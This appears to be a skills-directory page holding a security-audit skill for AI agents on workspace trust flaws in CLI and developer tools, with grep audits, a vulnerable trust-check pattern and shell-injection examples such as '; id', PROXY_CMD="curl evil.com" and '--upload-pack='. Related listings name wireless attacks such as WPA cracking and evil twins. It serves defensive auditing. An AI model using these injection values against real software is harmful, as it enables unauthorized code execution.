[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DF72QGJEVG2VYGAQFTYFZP":3,"skill-same:01M7DF72QGJEVG2VYGAQFTYFZP":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":14,"repositoryHtmlUrl":31,"repositoryHomepageUrl":6,"ownerHtmlUrl":32,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":33,"install":34,"resources":47},"01M7DF72QGJEVG2VYGAQFTYFZP","trust-boundary-analysis",null,"Trust boundary mapping and startup sequence audit for developer tools, CLI apps, and plugin systems. Load when the target is a developer tool, CLI, IDE extension, or any application that loads config from the current directory.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fanalyst\u002Ftrust-boundary\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: trust-boundary-analysis\ndescription: Trust boundary mapping and startup sequence audit for developer tools, CLI apps, and plugin systems. Load when the target is a developer tool, CLI, IDE extension, or any application that loads config from the current directory.\nmetadata:\n  subdomain: analyst\n  when_to_use: \"trust boundary startup sequence developer tool cli ide extension plugin config load current directory analysis\"\n  mitre_attack: T1574\n---\n\n# Trust Boundary Analysis\n\nThis skill targets the vulnerability class that produced 5 RCE vectors in\nGoogle Gemini CLI from a single architectural flaw: missing workspace trust.\nDeveloper tools that auto-load configuration from untrusted directories are\na rich attack surface.\n\n## When to Use\n\nApply this skill when the target:\n- Loads `.env`, `settings.json`, or config files from the current working directory\n- Has a plugin\u002Fextension system that auto-discovers and loads code\n- Spawns child processes with configuration-controlled commands\n- Is a CLI tool, IDE extension, language server, or build tool\n- Uses MCP (Model Context Protocol) servers configured via project files\n\n## Startup Sequence Audit\n\nFor any CLI tool or developer application, trace the full initialization:\n\n### 1. Config file discovery\n```bash\ngrep -rn 'readFile\\|readFileSync\\|fs.read\\|open(' --include='*.ts' --include='*.js' \\\n  \u002Fworkspace\u002Ftarget\u002Fsrc\u002F | grep -i 'config\\|settings\\|env\\|rc\\|\\.json'\n```\n\nMap the search order. Common dangerous patterns:\n- `cwd\u002F.tool\u002Fconfig.json` → `cwd\u002F.env` → `~\u002F.tool\u002Fconfig` → `\u002Fetc\u002Ftool\u002Fconfig`\n- If the local (cwd) config is loaded BEFORE the user's global config, the\n  attacker's repo-level config wins.\n\nRecord each config loading point:\n```\nkg_record('[{\"kind\": \"CodeLocation\", \"key\": \"code-location::loadConfig-cwd-env\",\n  \"label\": \"loadConfig() reads .env from cwd\",\n  \"props\": {\"file\": \"src\u002Fconfig\u002Fsettings.ts\", \"line\": 42,\n            \"trust_level\": \"untrusted\"}}]')\n```\n\n### 2. Environment variable injection\n```bash\ngrep -rn 'process\\.env\\|os\\.environ\\|env::var\\|getenv' --include='*.ts' \\\n  --include='*.py' --include='*.rs' \u002Fworkspace\u002Ftarget\u002Fsrc\u002F\n```\n\nCheck: Are env vars from `.env` files injected into `process.env`? Which vars\ncontrol dangerous behavior? Look for:\n- `*_COMMAND`, `*_CMD`, `*_EXEC` → shell execution\n- `*_PROXY` → SSRF \u002F network interception\n- `*_PATH`, `*_DIR` → path traversal\n- `*_URL` → open redirect \u002F SSRF\n- `DEBUG`, `NODE_ENV` → bypass security controls\n\n### 3. Workspace trust check\n```bash\ngrep -rn 'trust\\|isTrusted\\|workspace.*safe\\|folder.*trust' --include='*.ts' \\\n  --include='*.js' \u002Fworkspace\u002Ftarget\u002Fsrc\u002F\n```\n\nLook for the pattern:\n```javascript\n\u002F\u002F DANGEROUS: trust disabled by default\nif (!settings.folderTrustEnabled) {\n  return { isTrusted: true };  \u002F\u002F ← All workspaces trusted\n}\n```\n\nIf no trust check exists, every config is loaded blindly. This is the root cause.\n\n### 4. Command execution from config\n```bash\ngrep -rn 'spawn\\|exec\\|execSync\\|child_process\\|subprocess\\|os\\.system\\|Popen' \\\n  --include='*.ts' --include='*.js' --include='*.py' \u002Fworkspace\u002Ftarget\u002Fsrc\u002F\n```\n\nFor each `spawn`\u002F`exec` call, check:\n- Is `shell: true` set? → shell injection via crafted values\n- Does the command come from config? → attacker-controlled execution\n- Is there any validation\u002Fallowlist on the command?\n\n### 5. Plugin\u002Ftool auto-discovery\n```bash\ngrep -rn 'discoverTools\\|loadPlugins\\|autoDiscover\\|mcpServers\\|toolDiscovery' \\\n  --include='*.ts' --include='*.js' \u002Fworkspace\u002Ftarget\u002Fsrc\u002F\n```\n\nCheck: Are plugins\u002Ftools loaded from project-level config BEFORE any user\nconfirmation? MCP servers, language server plugins, and build tool extensions\nare common vectors.\n\n## Trust Boundary Graph Modeling\n\nMap the attack flow as a chain in the knowledge graph:\n\n```\nENTRYPOINT (malicious .env file in cloned repo)\n  → enables → ENV_INJECT (process.env poisoned)\n    → enables → SHELL_EXEC (spawn with shell:true)\n      → reaches → CROWN_JEWEL (arbitrary code execution)\n```\n\nUse low edge weights (0.2–0.4) for automatic\u002Fsilent steps. Use higher weights\n(1.0+) for steps requiring user interaction.\n\nThen record the chain as an `AttackPath` observation via `kg_record`;\nchain planning is not on your tool surface.\n\n## Shell Quoting Vulnerabilities\n\nWhen config values flow into shell commands, check for:\n\n1. **Direct interpolation**: `` `command ${userValue}` `` → injection via `; id`\n2. **Single-quote escape**: `osascript -e '${path}'` → escape via `'` in path\n3. **Env var in shell context**: `PROXY_CMD=\"curl evil.com\"` → executed as-is\n4. **Argument injection**: `spawn('git', ['clone', userUrl])` → `--upload-pack=` prefix\n\nFor each, the PoC pattern is:\n- Craft input that breaks out of the quoting context\n- Inject a command that proves execution (`id`, `env`, write a sentinel file)\n- Use `validate_finding` with the sentinel as the success pattern\n\n## Negative Control\n\nAlways test: does the same code path execute WITHOUT the malicious config?\nThe negative control is the same operation with a clean\u002Fempty config directory.\nIf the behavior occurs regardless, it's not a vulnerability — it's expected.\n","# Trust Boundary Analysis\n\nThis skill targets the vulnerability class that produced 5 RCE vectors in\nGoogle Gemini CLI from a single architectural flaw: missing workspace trust.\nDeveloper tools that auto-load configuration from untrusted directories are\na rich attack surface.\n\n## When to Use\n\nApply this skill when the target:\n- Loads `.env`, `settings.json`, or config files from the current working directory\n- Has a plugin\u002Fextension system that auto-discovers and loads code\n- Spawns child processes with configuration-controlled commands\n- Is a CLI tool, IDE extension, language server, or build tool\n- Uses MCP (Model Context Protocol) servers configured via project files\n\n## Startup Sequence Audit\n\nFor any CLI tool or developer application, trace the full initialization:\n\n### 1. Config file discovery\n```bash\ngrep -rn 'readFile\\|readFileSync\\|fs.read\\|open(' --include='*.ts' --include='*.js' \\\n  \u002Fworkspace\u002Ftarget\u002Fsrc\u002F | grep -i 'config\\|settings\\|env\\|rc\\|\\.json'\n```\n\nMap the search order. Common dangerous patterns:\n- `cwd\u002F.tool\u002Fconfig.json` → `cwd\u002F.env` → `~\u002F.tool\u002Fconfig` → `\u002Fetc\u002Ftool\u002Fconfig`\n- If the local (cwd) config is loaded BEFORE the user's global config, the\n  attacker's repo-level config wins.\n\nRecord each config loading point:\n```\nkg_record('[{\"kind\": \"CodeLocation\", \"key\": \"code-location::loadConfig-cwd-env\",\n  \"label\": \"loadConfig() reads .env from cwd\",\n  \"props\": {\"file\": \"src\u002Fconfig\u002Fsettings.ts\", \"line\": 42,\n            \"trust_level\": \"untrusted\"}}]')\n```\n\n### 2. Environment variable injection\n```bash\ngrep -rn 'process\\.env\\|os\\.environ\\|env::var\\|getenv' --include='*.ts' \\\n  --include='*.py' --include='*.rs' \u002Fworkspace\u002Ftarget\u002Fsrc\u002F\n```\n\nCheck: Are env vars from `.env` files injected into `process.env`? Which vars\ncontrol dangerous behavior? Look for:\n- `*_COMMAND`, `*_CMD`, `*_EXEC` → shell execution\n- `*_PROXY` → SSRF \u002F network interception\n- `*_PATH`, `*_DIR` → path traversal\n- `*_URL` → open redirect \u002F SSRF\n- `DEBUG`, `NODE_ENV` → bypass security controls\n\n### 3. Workspace trust check\n```bash\ngrep -rn 'trust\\|isTrusted\\|workspace.*safe\\|folder.*trust' --include='*.ts' \\\n  --include='*.js' \u002Fworkspace\u002Ftarget\u002Fsrc\u002F\n```\n\nLook for the pattern:\n```javascript\n\u002F\u002F DANGEROUS: trust disabled by default\nif (!settings.folderTrustEnabled) {\n  return { isTrusted: true };  \u002F\u002F ← All workspaces trusted\n}\n```\n\nIf no trust check exists, every config is loaded blindly. This is the root cause.\n\n### 4. Command execution from config\n```bash\ngrep -rn 'spawn\\|exec\\|execSync\\|child_process\\|subprocess\\|os\\.system\\|Popen' \\\n  --include='*.ts' --include='*.js' --include='*.py' \u002Fworkspace\u002Ftarget\u002Fsrc\u002F\n```\n\nFor each `spawn`\u002F`exec` call, check:\n- Is `shell: true` set? → shell injection via crafted values\n- Does the command come from config? → attacker-controlled execution\n- Is there any validation\u002Fallowlist on the command?\n\n### 5. Plugin\u002Ftool auto-discovery\n```bash\ngrep -rn 'discoverTools\\|loadPlugins\\|autoDiscover\\|mcpServers\\|toolDiscovery' \\\n  --include='*.ts' --include='*.js' \u002Fworkspace\u002Ftarget\u002Fsrc\u002F\n```\n\nCheck: Are plugins\u002Ftools loaded from project-level config BEFORE any user\nconfirmation? MCP servers, language server plugins, and build tool extensions\nare common vectors.\n\n## Trust Boundary Graph Modeling\n\nMap the attack flow as a chain in the knowledge graph:\n\n```\nENTRYPOINT (malicious .env file in cloned repo)\n  → enables → ENV_INJECT (process.env poisoned)\n    → enables → SHELL_EXEC (spawn with shell:true)\n      → reaches → CROWN_JEWEL (arbitrary code execution)\n```\n\nUse low edge weights (0.2–0.4) for automatic\u002Fsilent steps. Use higher weights\n(1.0+) for steps requiring user interaction.\n\nThen record the chain as an `AttackPath` observation via `kg_record`;\nchain planning is not on your tool surface.\n\n## Shell Quoting Vulnerabilities\n\nWhen config values flow into shell commands, check for:\n\n1. **Direct interpolation**: `` `command ${userValue}` `` → injection via `; id`\n2. **Single-quote escape**: `osascript -e '${path}'` → escape via `'` in path\n3. **Env var in shell context**: `PROXY_CMD=\"curl evil.com\"` → executed as-is\n4. **Argument injection**: `spawn('git', ['clone', userUrl])` → `--upload-pack=` prefix\n\nFor each, the PoC pattern is:\n- Craft input that breaks out of the quoting context\n- Inject a command that proves execution (`id`, `env`, write a sentinel file)\n- Use `validate_finding` with the sentinel as the success pattern\n\n## Negative Control\n\nAlways test: does the same code path execute WITHOUT the malicious config?\nThe negative control is the same operation with a clean\u002Fempty config directory.\nIf the behavior occurs regardless, it's not a vulnerability — it's expected.\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27},"analyst","trust boundary startup sequence developer tool cli ide extension plugin config load current directory analysis","T1574","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fanalyst\u002Ftrust-boundary","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add Akapi895\u002Fraptix --skill trust-boundary-analysis",{"tool":40,"command":41},"bunx","bunx skills add Akapi895\u002Fraptix --skill trust-boundary-analysis",{"tool":43,"command":44},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill trust-boundary-analysis","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fanalyst\u002Ftrust-boundary\u002FSKILL.md",true,[],[49,56,63,70,77,84],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]